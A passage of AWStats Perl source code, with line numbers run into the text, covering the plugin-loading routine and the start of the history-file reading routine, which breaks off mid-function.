Input: $DIR @PluginsToLoad 3090# Output: None 3091# Return: None 3092#------------------------------------------------------------------------------ 3093sub Read_Plugins { 3094 3095# Check plugin files in common possible directories : 3096# Windows and standard package: "$DIR/plugins" (plugins in same dir than awstats.pl) 3097# Redhat : "/usr/local/www/awstats/cgi-bin/plugins" 3098# Debian package : "/usr/share/awstats/plugins" 3099 my @PossiblePluginsDir = ( 3100 "$DIR/plugins", 3101 "/usr/local/www/awstats/cgi-bin/plugins", 3102 "/usr/share/awstats/plugins" 3103 ); 3104 my %DirAddedInINC = (); 3105 3106#Removed for security reason 3107#foreach my $key (keys %NoLoadPlugin) { if ($NoLoadPlugin{$key} < 0) { push @PluginsToLoad, $key; } } 3108 if ($Debug) { 3109 debug( 3110 "Call to Read_Plugins with list: " . join( ',', @PluginsToLoad ) ); 3111 } 3112 foreach my $plugininfo (@PluginsToLoad) { 3113 my ( $pluginfile, $pluginparam ) = split( /\s+/, $plugininfo, 2 ); 3114 $pluginparam ||= 3115 ""; # If split has only on part, pluginparam is not initialized 3116 $pluginfile =~ s/\.pm$//i; 3117 $pluginfile =~ /([^\/\\]+)$/; 3118 $pluginfile = Sanitize($1); # pluginfile is cleaned from any path for security reasons and from .pm 3119 my $pluginname = $pluginfile; 3120 if ( $NoLoadPlugin{$pluginname} && $NoLoadPlugin{$pluginname} > 0 ) { 3121 if ($Debug) { 3122 debug( 3123" Plugin load for '$pluginfile' has been disabled from parameters" 3124 ); 3125 } 3126 next; 3127 } 3128 if ($pluginname) { 3129 if ( !$PluginsLoaded{'init'}{"$pluginname"} ) 3130 { # Plugin not already loaded 3131 my %pluginisfor = ( 3132 'timehires' => 'u', 3133 'ipv6' => 'u', 3134 'hashfiles' => 'u', 3135 'geoipfree' => 'u', 3136 'geoip' => 'ou', 3137 'geoip6' => 'ou', 3138 'geoip2_country' => 'ou', 3139 'geoip_region_maxmind' => 'mou', 3140 'geoip_city_maxmind' => 'mou', 3141 'geoip2_city' => 'mou', 3142 'geoip_isp_maxmind' => 'mou', 3143 'geoip_org_maxmind' => 'mou', 3144 'timezone' => 'ou', 3145 'decodeutfkeys' => 'o', 3146 'hostinfo' => 'o', 3147 'rawlog' => 'o', 3148 'userinfo' => 'o', 3149 'urlalias' => 'o', 3150 'tooltips' => 'o' 3151 ); 3152 if ( $pluginisfor{$pluginname} ) 3153 { # If it's a known plugin, may be we don't need to load it 3154 # Do not load "menu handler plugins" if output only and mainleft frame 3155 if ( !$UpdateStats 3156 && scalar keys %HTMLOutput 3157 && $FrameName eq 'mainleft' 3158 && $pluginisfor{$pluginname} !~ /m/ ) 3159 { 3160 $PluginsLoaded{'init'}{"$pluginname"} = 1; 3161 next; 3162 } 3163 3164 # Do not load "update plugins" if output only 3165 if ( !$UpdateStats 3166 && scalar keys %HTMLOutput 3167 && $pluginisfor{$pluginname} !~ /o/ ) 3168 { 3169 $PluginsLoaded{'init'}{"$pluginname"} = 1; 3170 next; 3171 } 3172 3173 # Do not load "output plugins" if update only 3174 if ( $UpdateStats 3175 && !scalar keys %HTMLOutput 3176 && $pluginisfor{$pluginname} !~ /u/ ) 3177 { 3178 $PluginsLoaded{'init'}{"$pluginname"} = 1; 3179 next; 3180 } 3181 } 3182 3183 # Load plugin 3184 foreach my $dir (@PossiblePluginsDir) { 3185 my $searchdir = $dir; 3186 if ( $searchdir 3187 && ( !( $searchdir =~ /\/$/ ) ) 3188 && ( !( $searchdir =~ /\\$/ ) ) ) 3189 { 3190 $searchdir .= "/"; 3191 } 3192 my $pluginpath = "${searchdir}${pluginfile}.pm"; 3193 if ( -s "$pluginpath" ) { 3194 $PluginDir = "${searchdir}"; # Set plugin dir 3195 if ($Debug) { 3196 debug( 3197" Try to init plugin '$pluginname' ($pluginpath) with param '$pluginparam'", 3198 1 3199 ); 3200 } 3201 if ( !$DirAddedInINC{"$dir"} ) { 3202 push @INC, "$dir"; 3203 $DirAddedInINC{"$dir"} = 1; 3204 } 3205 my $loadret = 0; 3206 my $modperl = $ENV{"MOD_PERL"} 3207 ? eval { 3208 require mod_perl; 3209 $mod_perl::VERSION >= 1.99 ? 2 : 1; 3210 } 3211 : 0; 3212 if ( $modperl == 2 ) { 3213 $loadret = require "$pluginpath"; 3214 } 3215 else { $loadret = require "$pluginfile.pm"; } 3216 if ( !$loadret || $loadret =~ /^error/i ) { 3217 3218 # Load failed, we stop here 3219 error( 3220"Plugin load for plugin '$pluginname' failed with return code: $loadret" 3221 ); 3222 } 3223 my $ret; # To get init return 3224 my $initfunction = 3225 "\$ret=Init_$pluginname('$pluginparam')"; # Note that pluginname and pluginparam were sanitized when reading cong file entry 'LoadPlugin' 3226 my $initret = eval("$initfunction"); 3227 if ( $initret && $initret eq 'xxx' ) { 3228 $initret = 3229'Error: The PluginHooksFunctions variable defined in plugin file does not contain list of hooked functions'; 3230 } 3231 if ( !$initret || $initret =~ /^error/i ) { 3232 3233 # Init function failed, we stop here 3234 error( 3235"Plugin init for plugin '$pluginname' failed with return code: " 3236 . ( 3237 $initret 3238 ? "$initret" 3239 : "$@ (A module required by plugin might be missing)." 3240 ) 3241 ); 3242 } 3243 3244 # Plugin load and init successful 3245 foreach my $elem ( split( /\s+/, $initret ) ) { 3246 3247 # Some functions can only be plugged once 3248 my @uniquefunc = ( 3249 'GetCountryCodeByName', 3250 'GetCountryCodeByAddr', 3251 'ChangeTime', 3252 'GetTimeZoneTitle', 3253 'GetTime', 3254 'SearchFile', 3255 'LoadCache', 3256 'SaveHash', 3257 'ShowMenu' 3258 ); 3259 my $isuniquefunc = 0; 3260 foreach my $function (@uniquefunc) { 3261 if ( "$elem" eq "$function" ) { 3262 3263 # We try to load a 'unique' function, so we check and stop if already loaded 3264 foreach my $otherpluginname ( 3265 keys %{ $PluginsLoaded{"$elem"} } ) 3266 { 3267 error( 3268"Conflict between plugin '$pluginname' and '$otherpluginname'. They both implements the 'must be unique' function '$elem'.\nYou must choose between one of them. Using together is not possible." 3269 ); 3270 } 3271 $isuniquefunc = 1; 3272 last; 3273 } 3274 } 3275 if ($isuniquefunc) { 3276 3277 # TODO Use $PluginsLoaded{"$elem"}="$pluginname"; for unique func 3278 $PluginsLoaded{"$elem"}{"$pluginname"} = 1; 3279 } 3280 else { $PluginsLoaded{"$elem"}{"$pluginname"} = 1; } 3281 if ( "$elem" =~ /SectionInitHashArray/ ) { 3282 $AtLeastOneSectionPlugin = 1; 3283 } 3284 } 3285 $PluginsLoaded{'init'}{"$pluginname"} = 1; 3286 if ($Debug) { 3287 debug( 3288" Plugin '$pluginname' now hooks functions '$initret'", 3289 1 3290 ); 3291 } 3292 last; 3293 } 3294 } 3295 if ( !$PluginsLoaded{'init'}{"$pluginname"} ) { 3296 error( 3297"AWStats config file contains a directive to load plugin \"$pluginname\" (LoadPlugin=\"$plugininfo\") but AWStats can't open plugin file \"$pluginfile.pm\" for read.\nCheck if file is in \"" 3298 . ( $PossiblePluginsDir[0] ) 3299 . "\" directory and is readable." ); 3300 } 3301 } 3302 else { 3303 warning( 3304"Warning: Tried to load plugin \"$pluginname\" twice. Fix config file." 3305 ); 3306 } 3307 } 3308 else { 3309 error("Plugin \"$pluginfile\" is not a valid plugin name."); 3310 } 3311 } 3312 3313# In output mode, geo ip plugins are not loaded, so message changes are done here (can't be done in plugin init function) 3314 if ( $PluginsLoaded{'init'}{'geoip'} 3315 || $PluginsLoaded{'init'}{'geoip6'} 3316 || $PluginsLoaded{'init'}{'geoipfree'} 3317 || $PluginsLoaded{'init'}{'geoip2_country'}) 3318 { 3319 $Message[17] = $Message[25] = $Message[148]; 3320 } 3321} 3322 3323#------------------------------------------------------------------------------ 3324# Function: Read history file and create or update tmp history file 3325# Parameters: year,month,day,hour,withupdate,withpurge,part_to_load[,lastlinenb,lastlineoffset,lastlinechecksum] 3326# Input: $DirData $PROG $FileSuffix $LastLine $DatabaseBreak 3327# Output: None 3328# Return: Tmp history file name created/updated or '' if withupdate is 0 3329#------------------------------------------------------------------------------ 3330sub Read_History_With_TmpUpdate { 3331 3332 my $year = sprintf( "%04i", shift || 0 ); 3333 my $month = sprintf( "%02i", shift || 0 ); 3334 my $day = shift; 3335 if ( $day ne '' ) { $day = sprintf( "%02i", $day ); } 3336 my $hour = shift; 3337 if ( $hour ne '' ) { $hour = sprintf( "%02i", $hour ); } 3338 my $withupdate = shift || 0; 3339 my $withpurge = shift || 0; 3340 my $part = shift || ''; 3341 3342 my ( $date, $filedate ) = ( '', '' ); 3343 if ( $DatabaseBreak eq 'month' ) { 3344 $date = sprintf( "%04i%02i", $year, $month ); 3345 $filedate = sprintf( "%02i%04i", $month, $year ); 3346 } 3347 elsif ( $DatabaseBreak eq 'year' ) { 3348 $date = sprintf( "%04i%", $year ); 3349 $filedate = sprintf( "%04i", $year ); 3350 } 3351 elsif ( $DatabaseBreak eq 'day' ) { 3352 $date = sprintf( "%04i%02i%02i", $year, $month, $day ); 3353 $filedate = sprintf( "%02i%04i%02i", $month, $year, $day ); 3354 } 3355 elsif ( $DatabaseBreak eq 'hour' ) { 3356 $date = sprintf( "%04i%02i%02i%02i", $year, $month, $day, $hour ); 3357 $filedate = sprintf( "%02i%04i%02i%02i", $month, $year, $day, $hour ); 3358 } 3359 3360 my $xml = ( $BuildHistoryFormat eq 'xml' ? 1 : 0 ); 3361 my $xmleb = '</table><nu>'; 3362 my $xmlrb = '<tr><td>'; 3363 3364 my $lastlinenb = shift || 0; 3365 my $lastlineoffset = shift || 0; 3366 my $lastlinechecksum = shift || 0; 3367 3368 my %allsections = ( 3369 'general' => 1, 3370 'misc' => 2, 3371 'time' => 3, 3372 'visitor' => 4, 3373 'day' => 5, 3374 'domain' => 6, 3375 'cluster' => 7, 3376 'login' => 8, 3377 'robot' => 9, 3378 'worms' => 10, 3379 'emailsender' => 11, 3380 'emailreceiver' => 12, 3381 'session' => 13, 3382 'sider' => 14, 3383 'filetypes' => 15, 3384 'downloads' => 16, 3385 'os' => 17, 3386 'browser' => 18, 3387 'screensize' => 19, 3388 'unknownreferer' => 20, 3389 'unknownrefererbrowser' => 21, 3390 'origin' => 22, 3391 'sereferrals' => 23, 3392 'pagerefs' => 24, 3393 'searchwords' => 25, 3394 'keywords' => 26, 3395 'errors' => 27, 3396 ); 3397 3398 my $order = ( scalar keys %allsections ) + 1; 3399 foreach ( keys %TrapInfosForHTTPErrorCodes ) { 3400 $allsections{"sider_$_"} = $order++; 3401 } 3402 foreach ( 1 .. @ExtraName - 1 ) { $allsections{"extra_$_"} = $order++; } 3403 foreach ( keys %{ $PluginsLoaded{'SectionInitHashArray'} } ) { 3404 $allsections{"plugin_$_"} = $order++; 3405 } 3406 my $withread = 0; 3407 3408 # Variable used to read old format history files 3409 my $readvisitorforbackward = 0; 3410 3411 if ($Debug) { 3412 debug( 3413"Call to Read_History_With_TmpUpdate [$year,$month,$day,$hour,withupdate=$withupdate,withpurge=$withpurge,part=$part,lastlinenb=$lastlinenb,lastlineoffset=$lastlineoffset,lastlinechecksum=$lastlinechecksum]" 3414 ); 3415 } 3416 if ($Debug) { debug("date=$date"); } 3417 3418 # Define SectionsToLoad (which sections to load) 3419 my %SectionsToLoad = (); 3420 if ( $part eq 'all' ) { # Load all needed sections 3421 my $order = 1; 3422 $SectionsToLoad{'general'} = $order++; 3423 3424 # When 3425 $SectionsToLoad{'time'} = $order 3426 ++; # Always loaded because needed to count TotalPages, TotalHits, TotalBandwidth 3427 if ( $UpdateStats 3428 || $MigrateStats 3429 || ( $HTMLOutput{'main'} && $ShowHostsStats ) 3430 || $HTMLOutput{'allhosts'} 3431 || $HTMLOutput{'lasthosts'} 3432 || $HTMLOutput{'unknownip'} ) 3433 { 3434 $SectionsToLoad{'visitor'} = $order++; 3435 } # Must be before day, sider and session section 3436 if ( 3437 $UpdateStats 3438 || $MigrateStats 3439 || ( $HTMLOutput{'main'} 3440 && ( $ShowDaysOfWeekStats || $ShowDaysOfMonthStats ) ) 3441 || $HTMLOutput{'alldays'} 3442 ) 3443 { 3444 $SectionsToLoad{'day'} = $order++; 3445 } 3446 3447 # Who 3448 if ( $UpdateStats 3449 || $MigrateStats 3450 || ( $HTMLOutput{'main'} && $ShowDomainsStats ) 3451 || $HTMLOutput{'alldomains'} ) 3452 { 3453 $SectionsToLoad{'domain'} = $order++; 3454 } 3455 if ( $UpdateStats 3456 || $MigrateStats 3457 || ( $HTMLOutput{'main'} && $ShowAuthenticatedUsers ) 3458 || $HTMLOutput{'alllogins'} 3459 || $HTMLOutput{'lastlogins'} ) 3460 { 3461 $SectionsToLoad{'login'} = $order++; 3462 } 3463 if ( $UpdateStats 3464 || $MigrateStats 3465 || ( $HTMLOutput{'main'} && $ShowRobotsStats ) 3466 || $HTMLOutput{'allrobots'} 3467 || $HTMLOutput{'lastrobots'} ) 3468 { 3469 $SectionsToLoad{'robot'} = $order++; 3470 } 3471 if ( $UpdateStats 3472 || $MigrateStats 3473 || ( $HTMLOutput{'main'} && $ShowWormsStats ) 3474 || $HTMLOutput{'allworms'} 3475 || $HTMLOutput{'lastworms'} ) 3476 { 3477 $SectionsToLoad{'worms'} = $order++; 3478 } 3479 if ( $UpdateStats 3480 || $MigrateStats 3481 || ( $HTMLOutput{'main'} && $ShowEMailSenders ) 3482 || $HTMLOutput{'allemails'} 3483 || $HTMLOutput{'lastemails'} ) 3484 { 3485 $SectionsToLoad{'emailsender'} = $order++; 3486 } 3487 if ( $UpdateStats 3488 || $MigrateStats 3489 || ( $HTMLOutput{'main'} && $ShowEMailReceivers ) 3490 || $HTMLOutput{'allemailr'} 3491 || $HTMLOutput{'lastemailr'} ) 3492 { 3493 $SectionsToLoad{'emailreceiver'} = $order++; 3494 } 3495 3496 # Navigation 3497 if ( $UpdateStats 3498 || $MigrateStats 3499 || ( $HTMLOutput{'main'} && $ShowSessionsStats ) 3500 || $HTMLOutput{'sessions'} ) 3501 { 3502 $SectionsToLoad{'session'} = $order++; 3503 } 3504 if ( $UpdateStats 3505 || $MigrateStats 3506 || ( $HTMLOutput{'main'} && $ShowPagesStats ) 3507 || $HTMLOutput{'urldetail'} 3508 || $HTMLOutput{'urlentry'} 3509 || $HTMLOutput{'urlexit'} ) 3510 { 3511 $SectionsToLoad{'sider'} = $order++; 3512 } 3513 if ( $UpdateStats 3514 || $MigrateStats 3515 || ( $HTMLOutput{'main'} && $ShowFileTypesStats ) 3516 || $HTMLOutput{'filetypes'} ) 3517 { 3518 $SectionsToLoad{'filetypes'} = $order++; 3519 } 3520 3521 if ( $UpdateStats 3522 || $MigrateStats 3523 || ($HTMLOutput{'main'} && $ShowDownloadsStats ) 3524 || $HTMLOutput{'downloads'} ) 3525 { 3526 $SectionsToLoad{'downloads'} = $order++; 3527 } 3528 if ( $UpdateStats 3529 || $MigrateStats 3530 || ( $HTMLOutput{'main'} && $ShowOSStats ) 3531 || $HTMLOutput{'osdetail'} ) 3532 { 3533 $SectionsToLoad{'os'} = $order++; 3534 } 3535 if ( $UpdateStats 3536 || $MigrateStats 3537 || ( $HTMLOutput{'main'} && $ShowBrowsersStats ) 3538 || $HTMLOutput{'browserdetail'} ) 3539 { 3540 $SectionsToLoad{'browser'} = $order++; 3541 } 3542 if ( $UpdateStats || $MigrateStats || $HTMLOutput{'unknownos'} ) { 3543 $SectionsToLoad{'unknownreferer'} = $order++; 3544 } 3545 if ( $UpdateStats || $MigrateStats || $HTMLOutput{'unknownbrowser'} ) { 3546 $SectionsToLoad{'unknownrefererbrowser'} = $order++; 3547 } 3548 if ( $UpdateStats 3549 || $MigrateStats 3550 || ( $HTMLOutput{'main'} && $ShowScreenSizeStats ) ) 3551 { 3552 $SectionsToLoad{'screensize'} = $order++; 3553 } 3554 3555 # Referers 3556 if ( $UpdateStats 3557 || $MigrateStats 3558 || ( $HTMLOutput{'main'} && $ShowOriginStats ) 3559 || $HTMLOutput{'origin'} ) 3560 { 3561 $SectionsToLoad{'origin'} = $order++; 3562 } 3563 if ( $UpdateStats 3564 || $MigrateStats 3565 || ( $HTMLOutput{'main'} && $ShowOriginStats ) 3566 || $HTMLOutput{'refererse'} ) 3567 { 3568 $SectionsToLoad{'sereferrals'} = $order++; 3569 } 3570 if ( $UpdateStats 3571 || $MigrateStats 3572 || ( $HTMLOutput{'main'} && $ShowOriginStats ) 3573 || $HTMLOutput{'refererpages'} ) 3574 { 3575 $SectionsToLoad{'pagerefs'} = $order++; 3576 } 3577 if ( $UpdateStats 3578 || $MigrateStats 3579 || ( $HTMLOutput{'main'} && $ShowKeyphrasesStats ) 3580 || $HTMLOutput{'keyphrases'} 3581 || $HTMLOutput{'keywords'} ) 3582 { 3583 $SectionsToLoad{'searchwords'} = $order++; 3584 } 3585 if ( !$withupdate && $HTMLOutput{'main'} && $ShowKeywordsStats ) { 3586 $SectionsToLoad{'keywords'} = $order++; 3587 } # If we update, there is no need to load 3588 # Others 3589 if ( $UpdateStats 3590 || $MigrateStats 3591 || ( $HTMLOutput{'main'} && $ShowMiscStats ) ) 3592 { 3593 $SectionsToLoad{'misc'} = $order++; 3594 } 3595 if ( 3596 $UpdateStats 3597 || $MigrateStats 3598 || ( $HTMLOutput{'main'} 3599 && ( $ShowHTTPErrorsStats || $ShowSMTPErrorsStats ) ) 3600 || $HTMLOutput{'errors'} 3601 ) 3602 { 3603 $SectionsToLoad{'errors'} = $order++; 3604 } 3605 foreach ( keys %TrapInfosForHTTPErrorCodes ) { 3606 if ( $UpdateStats || $MigrateStats || $HTMLOutput{"errors$_"} ) { 3607 $SectionsToLoad{"sider_$_"} = $order++; 3608 } 3609 } 3610 if ( $UpdateStats 3611 || $MigrateStats 3612 || ( $HTMLOutput{'main'} && $ShowClusterStats ) ) 3613 { 3614 $SectionsToLoad{'cluster'} = $order++; 3615 } 3616 foreach ( 1 .. @ExtraName - 1 ) { 3617 if ( $UpdateStats 3618 || $MigrateStats 3619 || ( $HTMLOutput{'main'} && $ExtraStatTypes[$_] ) 3620 || $HTMLOutput{"allextra$_"} ) 3621 { 3622 $SectionsToLoad{"extra_$_"} = $order++; 3623 } 3624 } 3625 foreach ( keys %{ $PluginsLoaded{'SectionInitHashArray'} } ) { 3626 if ( $UpdateStats || $MigrateStats || $HTMLOutput{"plugin_$_"} ) { 3627 $SectionsToLoad{"plugin_$_"} = $order++; 3628 } 3629 } 3630 } 3631 else { # Load only required sections 3632 my $order = 1; 3633 foreach ( split( /\s+/, $part ) ) { $SectionsToLoad{$_} = $order++; } 3634 } 3635 3636 # Define SectionsToSave (which sections to save) 3637 my %SectionsToSave = (); 3638 if ($withupdate) { 3639 if ( $SectionsToBeSaved eq 'all' ) { 3640 %SectionsToSave = %allsections; 3641 } 3642 else { 3643 my $order = 1; 3644 foreach ( split( /\s+/, $SectionsToBeSaved ) ) { 3645 $SectionsToSave{$_} = $order++; 3646 } 3647 } 3648 } 3649 3650 if ($Debug) { 3651 debug( 3652 " List of sections marked for load : " 3653 . join( 3654 ' ', 3655 ( 3656 sort { $SectionsToLoad{$a} <=> $SectionsToLoad{$b} } 3657 keys %SectionsToLoad 3658 ) 3659 ), 3660 2 3661 ); 3662 debug( 3663 " List of sections marked for save : " 3664 . join( 3665 ' ', 3666 ( 3667 sort { $SectionsToSave{$a} <=> $SectionsToSave{$b} } 3668 keys %SectionsToSave 3669 ) 3670 ), 3671 2 3672 ); 3673 } 3674 3675# Define value for filetowrite and filetoread (Month before Year kept for backward compatibility) 3676 my $filetowrite = ''; 3677 my $filetoread = ''; 3678 if ( $HistoryAlreadyFlushed{"$year$month$day$hour"} 3679 && -s "$DirData/$PROG$filedate$FileSuffix.tmp.$$" ) 3680 { 3681 3682 # tmp history file was already flushed 3683 $filetoread = "$DirData/$PROG$filedate$FileSuffix.tmp.$$"; 3684 $filetowrite = "$DirData/$PROG$filedate$FileSuffix.tmp.$$.bis"; 3685 } 3686 else { 3687 $filetoread = "$DirData/$PROG$filedate$FileSuffix.txt"; 3688 $filetowrite = "$DirData/$PROG$filedate$FileSuffix.tmp.$$"; 3689 } 3690 if ($Debug) { debug( " History file to read is '$filetoread'", 2 ); } 3691 3692# Is there an old data file to read or, if migrate, can we open the file for read 3693 if ( -s $filetoread || $MigrateStats ) { $withread = 1; } 3694 3695 # Open files 3696 if ($withread) { 3697 open( HISTORY, $filetoread ) 3698 || error( "Couldn't open file \"$filetoread\" for read: $!", 3699 "", "", $MigrateStats ); 3700 binmode HISTORY 3701 ; # Avoid premature EOF due to history files corrupted with \cZ or bin chars 3702 } 3703 if ($withupdate) { 3704 open( HISTORYTMP, ">$filetowrite" ) 3705 || error("Couldn't open file \"$filetowrite\" for write: $!"); 3706 binmode HISTORYTMP; 3707 if ($xml) { 3708 print HISTORYTMP 3709'<xml xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://www.awstats.org/files/awstats.xsd">' 3710 . "\n\n"; 3711 } 3712 Save_History( "header", $year, $month, $date ); 3713 } 3714 3715 # Loop on read file 3716 my $readxml = 0; 3717 if ($withread) { 3718 my $countlines = 0; 3719 my $versionnum = 0; 3720 my @field = (); 3721 while (<HISTORY>) { 3722 chomp $_; 3723 s/\r//; 3724 $countlines++; 3725 3726 # Test if it's xml 3727 if ( !$readxml && $_ =~ /^<xml/ ) { 3728 $readxml = 1; 3729 if ($Debug) { debug( " Data file format is 'xml'", 1 ); } 3730 next; 3731 } 3732 3733 # Extract version from first line 3734 if ( !$versionnum && $_ =~ /^AWSTATS DATA FILE (\d+).(\d+)/i ) { 3735 $versionnum = ( $1 * 1000 ) + $2; 3736 if ($Debug) { debug( " Data file version is $versionnum", 1 ); } 3737 next; 3738 } 3739 3740 # Analyze fields 3741 @field = split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); 3742 if ( !$field[0] ) { next; } 3743 3744 # Here version MUST be defined 3745 if ( $versionnum < 5000 ) { 3746 error( 3747"History file '$filetoread' is to old (version '$versionnum'). This version of AWStats is not compatible with very old history files. Remove this history file or use first a previous AWStats version to migrate it from command line with command: $PROG.$Extension -migrate=\"$filetoread\".", 3748 "", "", 1 3749 ); 3750 } 3751 3752 # BEGIN_GENERAL 3753 # TODO Manage GENERAL in a loop like other sections. 3754 if ( $field[0] eq 'BEGIN_GENERAL' ) { 3755 if ($Debug) { debug(" Begin of GENERAL section"); } 3756 next; 3757 } 3758 if ( $field[0] eq 'LastLine' || $field[0] eq "${xmlrb}LastLine" ) { 3759 if ( !$LastLine || $LastLine < int( $field[1] ) ) { 3760 $LastLine = int( $field[1] ); 3761 } 3762 if ( $field[2] ) { $LastLineNumber = int( $field[2] ); } 3763 if ( $field[3] ) { $LastLineOffset = int( $field[3] ); } 3764 if ( $field[4] ) { $LastLineChecksum = int( $field[4] ); } 3765 next; 3766 } 3767 if ( $field[0] eq 'FirstTime' || $field[0] eq "${xmlrb}FirstTime" ) 3768 { 3769 if ( !$FirstTime{$date} 3770 || $FirstTime{$date} > int( $field[1] ) ) 3771 { 3772 $FirstTime{$date} = int( $field[1] ); 3773 } 3774 next; 3775 } 3776 if ( $field[0] eq 'LastTime' || $field[0] eq "${xmlrb}LastTime" ) { 3777 if ( !$LastTime{$date} || $LastTime{$date} < int( $field[1] ) ) 3778 { 3779 $LastTime{$date} = int( $field[1] ); 3780 } 3781 next; 3782 } 3783 if ( $field[0] eq 'LastUpdate' 3784 || $field[0] eq "${xmlrb}LastUpdate" ) 3785 { 3786 if ( !$LastUpdate ) { $LastUpdate = int( $field[1] ); } 3787 next; 3788 } 3789 if ( $field[0] eq 'TotalVisits' 3790 || $field[0] eq "${xmlrb}TotalVisits" ) 3791 { 3792 if ( !$withupdate ) { 3793 $MonthVisits{ $year . $month } += int( $field[1] ); 3794 } 3795 next; 3796 } 3797 if ( $field[0] eq 'TotalUnique' 3798 || $field[0] eq "${xmlrb}TotalUnique" ) 3799 { 3800 if ( !$withupdate ) { 3801 $MonthUnique{ $year . $month } += int( $field[1] ); 3802 } 3803 next; 3804 } 3805 if ( $field[0] eq 'MonthHostsKnown' 3806 || $field[0] eq "${xmlrb}MonthHostsKnown" ) 3807 { 3808 if ( !$withupdate ) { 3809 $MonthHostsKnown{ $year . $month } += int( $field[1] ); 3810 } 3811 next; 3812 } 3813 if ( $field[0] eq 'MonthHostsUnknown' 3814 || $field[0] eq "${xmlrb}MonthHostsUnknown" ) 3815 { 3816 if ( !$withupdate ) { 3817 $MonthHostsUnknown{ $year . $month } += int( $field[1] ); 3818 } 3819 next; 3820 } 3821 if ( 3822 ( 3823 $field[0] eq 'END_GENERAL' 3824 || $field[0] eq "${xmleb}END_GENERAL" 3825 ) 3826 ) 3827 { 3828 if ($Debug) { debug(" End of GENERAL section"); } 3829 if ( $MigrateStats && !$BadFormatWarning{ $year . $month } ) { 3830 $BadFormatWarning{ $year . $month } = 1; 3831 warning( 3832"Warning: You are migrating a file that is already a recent version (migrate not required for files version $versionnum).", 3833 "", "", 1 3834 ); 3835 } 3836 3837 delete $SectionsToLoad{'general'}; 3838 if ( $SectionsToSave{'general'} ) { 3839 Save_History( 'general', $year, $month, $date, $lastlinenb, 3840 $lastlineoffset, $lastlinechecksum ); 3841 delete $SectionsToSave{'general'}; 3842 } 3843 if ( !scalar %SectionsToLoad ) { 3844 debug(" Stop reading history file. Got all we need."); 3845 last; 3846 } 3847 next; 3848 } 3849 3850 # BEGIN_MISC 3851 if ( $field[0] eq 'BEGIN_MISC' ) { 3852 if ($Debug) { debug(" Begin of MISC section"); } 3853 $field[0] = ''; 3854 my $count = 0; 3855 my $countloaded = 0; 3856 do { 3857 if ( $field[0] ) { 3858 $count++; 3859 if ( $SectionsToLoad{'misc'} ) { 3860 $countloaded++; 3861 if ( $field[1] ) { 3862 $_misc_p{ $field[0] } += int( $field[1] ); 3863 } 3864 if ( $field[2] ) { 3865 $_misc_h{ $field[0] } += int( $field[2] ); 3866 } 3867 if ( $field[3] ) { 3868 $_misc_k{ $field[0] } += int( $field[3] ); 3869 } 3870 } 3871 } 3872 $_ = <HISTORY>; 3873 chomp $_; 3874 s/\r//; 3875 @field = 3876 split( /\s+/, 3877 ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); 3878 $countlines++; 3879 } until ( $field[0] eq 'END_MISC' 3880 || $field[0] eq "${xmleb}END_MISC" 3881 || !$_ ); 3882 if ( $field[0] ne 'END_MISC' 3883 && $field[0] ne "${xmleb}END_MISC" ) 3884 { 3885 error( 3886"History file \"$filetoread\" is corrupted (End of section MISC not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", 3887 "", "", 1 3888 ); 3889 } 3890 if ($Debug) { 3891 debug( 3892" End of MISC section ($count entries, $countloaded loaded)" 3893 ); 3894 } 3895 delete $SectionsToLoad{'misc'}; 3896 if ( $SectionsToSave{'misc'} ) { 3897 Save_History( 'misc', $year, $month, $date ); 3898 delete $SectionsToSave{'misc'}; 3899 if ($withpurge) { 3900 %_misc_p = (); 3901 %_misc_h = (); 3902 %_misc_k = (); 3903 } 3904 } 3905 if ( !scalar %SectionsToLoad ) { 3906 debug(" Stop reading history file. Got all we need."); 3907 last; 3908 } 3909 next; 3910 } 3911 3912 # BEGIN_CLUSTER 3913 if ( $field[0] eq 'BEGIN_CLUSTER' ) { 3914 if ($Debug) { debug(" Begin of CLUSTER section"); } 3915 $field[0] = ''; 3916 my $count = 0; 3917 my $countloaded = 0; 3918 do { 3919 if ( $field[0] ) { 3920 $count++; 3921 if ( $SectionsToLoad{'cluster'} ) { 3922 $countloaded++; 3923 if ( $field[1] ) { 3924 $_cluster_p{ $field[0] } += int( $field[1] ); 3925 } 3926 if ( $field[2] ) { 3927 $_cluster_h{ $field[0] } += int( $field[2] ); 3928 } 3929 if ( $field[3] ) { 3930 $_cluster_k{ $field[0] } += int( $field[3] ); 3931 } 3932 } 3933 } 3934 $_ = <HISTORY>; 3935 chomp $_; 3936 s/\r//; 3937 @field = 3938 split( /\s+/, 3939 ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); 3940 $countlines++; 3941 } until ( $field[0] eq 'END_CLUSTER' 3942 || $field[0] eq "${xmleb}END_CLUSTER" 3943 || !$_ ); 3944 if ( $field[0] ne 'END_CLUSTER' 3945 && $field[0] ne "${xmleb}END_CLUSTER" ) 3946 { 3947 error( 3948"History file \"$filetoread\" is corrupted (End of section CLUSTER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", 3949 "", "", 1 3950 ); 3951 } 3952 if ($Debug) { 3953 debug( 3954" End of CLUSTER section ($count entries, $countloaded loaded)" 3955 ); 3956 } 3957 delete $SectionsToLoad{'cluster'}; 3958 if ( $SectionsToSave{'cluster'} ) { 3959 Save_History( 'cluster', $year, $month, $date ); 3960 delete $SectionsToSave{'cluster'}; 3961 if ($withpurge) { 3962 %_cluster_p = (); 3963 %_cluster_h = (); 3964 %_cluster_k = (); 3965 } 3966 } 3967 if ( !scalar %SectionsToLoad ) { 3968 debug(" Stop reading history file. Got all we need."); 3969 last; 3970 } 3971 next; 3972 } 3973 3974 # BEGIN_TIME 3975 if ( $field[0] eq 'BEGIN_TIME' ) { 3976 my $monthpages = 0; 3977 my $monthhits = 0; 3978 my $monthbytes = 0; 3979 my $monthnotviewedpages = 0; 3980 my $monthnotviewedhits = 0; 3981 my $monthnotviewedbytes = 0; 3982 if ($Debug) { debug(" Begin of TIME section"); } 3983 $field[0] = ''; 3984 my $count = 0; 3985 my $countloaded = 0; 3986 do { 3987 3988 if ( $field[0] ne '' ) 3989 { # Test on ne '' because field[0] is '0' for hour 0) 3990 $count++; 3991 if ( $SectionsToLoad{'time'} ) { 3992 if ( $withupdate 3993 || 